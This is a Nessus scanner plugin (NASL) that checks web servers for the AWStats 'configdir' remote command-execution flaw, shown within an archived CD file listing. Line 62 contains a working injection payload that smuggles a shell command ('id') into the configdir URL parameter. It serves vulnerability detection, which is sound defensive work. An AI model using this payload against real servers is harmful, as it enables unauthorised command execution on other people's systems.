home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / awstats_configdir.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  77 lines

  1. #
  2. # This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
  3. #
  4. # Ref: iDEFENSE 
  5. #
  6. # This script is released under the GNU GPLv2
  7. #
  8. # changes by rd: changed the web reqeuest
  9.  
  10. if(description)
  11. {
  12.  script_id(16189);
  13.  script_bugtraq_id(12270, 12298);
  14.  script_version("$Revision: 1.2 $");
  15.  
  16.  name["english"] = "AWStats configdir parameter arbitrary cmd exec";
  17.  
  18.  script_name(english:name["english"]);
  19.  script_version ("$Revision: 1.2 $");
  20.  
  21.  desc["english"] = "
  22. The remote host is running AWStats, a free real-time logfile analyzer.
  23.  
  24. The remote version of this software is prone to an input validation 
  25. vulnerability. 
  26.  
  27. The issue is reported to exist because user supplied 'configdir' URI data passed
  28. to the 'awstats.pl' script is not sanitized.
  29.  
  30. An attacker may exploit this condition to execute commands remotely or disclose 
  31. contents of web server readable files. 
  32.  
  33. Solution : Upgrade at least to version 6.3 of this software
  34. Risk factor : High";
  35.  
  36.  
  37.  
  38.  script_description(english:desc["english"]);
  39.  
  40.  summary["english"] = "Determines the presence of AWStats awstats.pl flaws";
  41.  
  42.  script_summary(english:summary["english"]);
  43.  
  44.  script_category(ACT_GATHER_INFO);
  45.  
  46.  script_copyright(english:"This script is Copyright (C) 2005 David Maciejak");
  47.  script_family(english:"CGI abuses", francais:"Abus de CGI");
  48.  
  49.  script_dependencies("http_version.nasl");
  50.  script_require_ports("Services/www", 80);
  51.  exit(0);
  52. }
  53.  
  54. include("http_func.inc");
  55. include("http_keepalive.inc");
  56.  
  57. port = get_http_port(default:80);
  58. if ( ! port ) exit(0);
  59.  
  60. function check(url)
  61. {
  62.  req = http_get(item:url +"/awstats.pl?configdir=|echo%20Content-Type:%20text/html;%20echo%20;id|%00", port:port);
  63.  res = http_keepalive_send_recv(port:port, data:req);
  64.  if ( res == NULL ) exit(0);
  65.  if ( egrep(pattern:"uid=[0-9]+.*gid=[0-9]+", string:res) )
  66.  {
  67.         security_hole(port);
  68.         exit(0);
  69.  }
  70. }
  71.  
  72. check(url:"/awstats");
  73. foreach dir ( cgi_dirs() )
  74. {
  75.   check(url:dir);
  76. }
  77.